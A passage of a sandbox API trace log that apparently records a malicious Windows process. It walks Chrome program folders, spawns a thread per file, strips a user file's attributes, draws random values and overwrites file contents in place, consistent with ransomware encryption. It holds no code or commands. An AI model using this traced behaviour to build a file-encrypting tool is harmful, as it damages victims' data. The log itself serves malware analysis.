Flags=0x8, Size=0x20) returned 0x97cf0a0 [0059.250] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf0c8 [0059.250] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf0c8) returned 1 [0059.250] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b8e8) returned 1 [0059.250] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0059.250] WriteFile (in: hFile=0xc88, lpBuffer=0x19821820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc2efa54, lpOverlapped=0x0 | out: lpBuffer=0x19821820*, lpNumberOfBytesWritten=0xc2efa54*=0xc800, lpOverlapped=0x0) returned 1 [0062.330] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19821820) returned 1 [0062.330] SetFilePointerEx (in: hFile=0xc88, liDistanceToMove=0x1555b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.330] ReadFile (in: hFile=0xc88, lpBuffer=0x19815018, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc2efa54, lpOverlapped=0x0 | out: lpBuffer=0x19815018*, lpNumberOfBytesRead=0xc2efa54*=0xc800, lpOverlapped=0x0) returned 1 [0062.331] SetFilePointerEx (in: hFile=0xc88, liDistanceToMove=0x1555b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.331] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402ba0 [0062.331] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0062.331] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9020 [0062.331] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9020) returned 1 [0062.332] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19821820 [0062.332] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9020 [0062.332] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9070 [0062.332] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9070) returned 1 [0062.332] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0062.332] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0062.332] WriteFile (in: hFile=0xc88, lpBuffer=0x19821820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc2efa54, lpOverlapped=0x0 | out: lpBuffer=0x19821820*, lpNumberOfBytesWritten=0xc2efa54*=0xc800, lpOverlapped=0x0) returned 1 [0066.238] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19821820) returned 1 [0066.238] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48da08 [0066.238] SetFilePointerEx (in: hFile=0xc88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.238] WriteFile (hFile=0xc88, lpBuffer=0x41aca0, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0xc2efafc, lpOverlapped=0x0) Thread: id = 497 os_tid = 0xeb4 [0049.289] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x424560 [0049.289] wcscpy (in: _Dest=0x424560, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0049.289] wcscat (in: _Dest=0x424560, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\" [0049.289] wcscat (in: _Dest=0x424560, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*" [0049.289] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45a638 [0049.289] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*", lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x441020 [0054.107] wcscmp (_String1=".", _String2=".") returned 0 [0054.107] FindNextFileW (in: hFindFile=0x441020, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.107] wcscmp (_String1="..", _String2=".") returned 1 [0054.107] wcscmp (_String1="..", _String2="..") returned 0 [0054.107] FindNextFileW (in: hFindFile=0x441020, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3a589f, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x442a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0054.107] wcscmp (_String1="logo.png", _String2=".") returned 1 [0054.107] wcscmp (_String1="logo.png", _String2="..") returned 1 [0054.107] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45c9c8 [0054.107] wcscpy (in: _Dest=0x45c9c8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0054.107] wcscat (in: _Dest=0x45c9c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\" [0054.107] wcscat (in: _Dest=0x45c9c8, _Source="logo.png" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png" [0066.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c9c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0066.816] FindNextFileW (in: hFindFile=0x441020, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3a7fb0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5741, dwReserved0=0x0, dwReserved1=0x0, cFileName="logocanary.png", cAlternateFileName="LOGOCA~1.PNG")) returned 1 [0066.816] wcscmp (_String1="logocanary.png", _String2=".") returned 1 [0066.816] wcscmp (_String1="logocanary.png", _String2="..") returned 1 [0066.816] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4dc30 [0066.816] wcscpy (in: _Dest=0x12f4dc30, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0066.816] wcscat (in: _Dest=0x12f4dc30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\" [0066.816] wcscat (in: _Dest=0x12f4dc30, _Source="logocanary.png" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png" [0066.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4dc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe90 [0066.817] FindNextFileW (in: hFindFile=0x441020, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3b6a16, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogo.png", cAlternateFileName="SMALLL~1.PNG")) returned 1 [0066.817] wcscmp (_String1="smalllogo.png", _String2=".") returned 1 [0066.817] wcscmp (_String1="smalllogo.png", _String2="..") returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02660 [0066.817] wcscpy (in: _Dest=0x5e02660, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0066.817] wcscat (in: _Dest=0x5e02660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\" [0066.817] wcscat (in: _Dest=0x5e02660, _Source="smalllogo.png" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png" [0066.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e02660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae4 [0066.818] FindNextFileW (in: hFindFile=0x441020, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3c547c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="SMALLL~2.PNG")) returned 1 [0066.818] wcscmp (_String1="smalllogocanary.png", _String2=".") returned 1 [0066.818] wcscmp (_String1="smalllogocanary.png", _String2="..") returned 1 [0066.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00c90 [0066.818] wcscpy (in: _Dest=0x5e00c90, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0066.818] wcscat (in: _Dest=0x5e00c90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\" [0066.818] wcscat (in: _Dest=0x5e00c90, _Source="smalllogocanary.png" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png" [0066.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e00c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0066.830] FindNextFileW (in: hFindFile=0x441020, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3c547c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="SMALLL~2.PNG")) returned 0 [0066.830] FindClose (hFindFile=0x441020) Thread: id = 498 os_tid = 0xeb8 [0049.290] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x44e618 [0049.290] wcscpy (in: _Dest=0x44e618, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" [0049.290] wcscat (in: _Dest=0x44e618, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\" [0049.290] wcscat (in: _Dest=0x44e618, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*" [0049.290] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45a168 [0049.290] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*", lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405e0 [0055.871] wcscmp (_String1=".", _String2=".") returned 0 [0055.871] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.871] wcscmp (_String1="..", _String2=".") returned 1 [0055.871] wcscmp (_String1="..", _String2="..") returned 0 [0055.871] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3db415, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x3b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0055.871] wcscmp (_String1="manifest.json", _String2=".") returned 1 [0055.871] wcscmp (_String1="manifest.json", _String2="..") returned 1 [0055.871] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02720 [0055.871] wcscpy (in: _Dest=0x5e02720, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" [0055.871] wcscat (in: _Dest=0x5e02720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\" [0055.871] wcscat (in: _Dest=0x5e02720, _Source="manifest.json" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json" [0057.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e02720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0057.881] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 1 [0057.881] wcscmp (_String1="_platform_specific", _String2=".") returned 1 [0057.881] wcscmp (_String1="_platform_specific", _String2="..") returned 1 [0057.881] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x12f4d398 [0057.881] wcscpy (in: _Dest=0x12f4d398, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" [0057.881] wcscat (in: _Dest=0x12f4d398, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\" [0057.881] wcscat (in: _Dest=0x12f4d398, _Source="_platform_specific" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific" [0057.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12f4d398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac [0057.883] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 0 [0057.883] FindClose (in: hFindFile=0x4405e0 | out: hFindFile=0x4405e0) returned 1 [0057.883] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45a168) returned 1 [0057.883] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e618) returned 1 [0057.883] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 Thread: id = 499 os_tid = 0xebc [0049.291] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms")) returned 0x23 [0049.291] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", dwFileAttributes=0x20) returned 1 [0061.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x125c [0061.763] GetFileSizeEx (in: hFile=0x125c, lpFileSize=0xc62fb28 | out: lpFileSize=0xc62fb28*=248) returned 1 [0061.763] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.763] ReadFile (in: hFile=0x125c, lpBuffer=0xc62faac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc62faa8, lpOverlapped=0x0 | out: lpBuffer=0xc62faac*, lpNumberOfBytesRead=0xc62faa8*=0x4, lpOverlapped=0x0) returned 1 [0061.765] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.765] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0061.765] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297c8 [0061.765] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429318 [0061.765] NtQuerySystemTime (in: CurrentTime=0xc62fa88 | out: CurrentTime=0xc62fa88*=132174898257528000) returned 0x0 [0061.765] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x44da46d5 [0061.765] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0xcf6346d [0061.765] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x785ccbdf [0061.765] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x5441b29c [0061.765] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x553d3cf [0061.765] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x24716719 [0061.765] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x43ce5988 [0061.765] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x995d602 [0061.765] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x1c3ec476 [0061.765] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x4e9642a6 [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x11ef1e7f [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x34a421f3 [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x39ebeba6 [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x346d7f5c [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x7d6b6727 [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x9eb05ce [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x16f1b686 [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x44aa1795 [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x57633396 [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x752e794d [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x28434dcb [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x2adfa901 [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0xccb5bad [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x2441aa3e [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x62abc255 [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x31e126ca [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x32290da8 [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x3032a18c [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x2ee4be1e [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x7006bffc [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x201b1b35 [0061.766] RtlRandomEx (in: Seed=0xc62fa94 | out: Seed=0xc62fa94) returned 0x5a9534f0 [0061.777] ReadFile (in: hFile=0x125c, lpBuffer=0x194d0048, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0xc62fa84, lpOverlapped=0x0 | out: lpBuffer=0x194d0048*, lpNumberOfBytesRead=0xc62fa84*=0xf8, lpOverlapped=0x0) returned 1 [0061.777] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.778] WriteFile (in: hFile=0x125c, lpBuffer=0x5e60870*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0xc62fa80, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesWritten=0xc62fa80*=0xf8, lpOverlapped=0x0) returned 1 [0062.420] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c88 [0062.420] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8cd8 [0062.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8cd8) returned 1 [0062.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 